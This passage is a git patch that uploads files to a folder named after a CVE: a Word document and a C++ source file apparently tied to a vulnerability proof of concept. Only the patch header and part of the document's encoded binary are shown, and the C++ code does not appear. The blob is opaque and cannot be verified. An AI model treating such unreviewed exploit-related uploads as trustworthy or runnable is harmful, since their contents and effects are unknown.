From ec0d649893ff012ca4d19a0babaf18b8e0f89e9f Mon Sep 17 00:00:00 2001 From: seasecresponse Date: Sat, 18 Jul 2026 18:53:19 +0000 Subject: [PATCH] Upload files to "CVE-2025-62467" --- CVE-2025-62467/PrjLeak26.docx | Bin 0 -> 42236 bytes CVE-2025-62467/PrjLeank26.cpp | 775 ++++++++++++++++++++++++++++++++++ 2 files changed, 775 insertions(+) create mode 100644 CVE-2025-62467/PrjLeak26.docx create mode 100644 CVE-2025-62467/PrjLeank26.cpp diff --git a/CVE-2025-62467/PrjLeak26.docx b/CVE-2025-62467/PrjLeak26.docx new file mode 100644 index 0000000000000000000000000000000000000000..84d8d6bc4feafdf2b630346e54dcf2be05786b36 GIT binary patch literal 42236 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 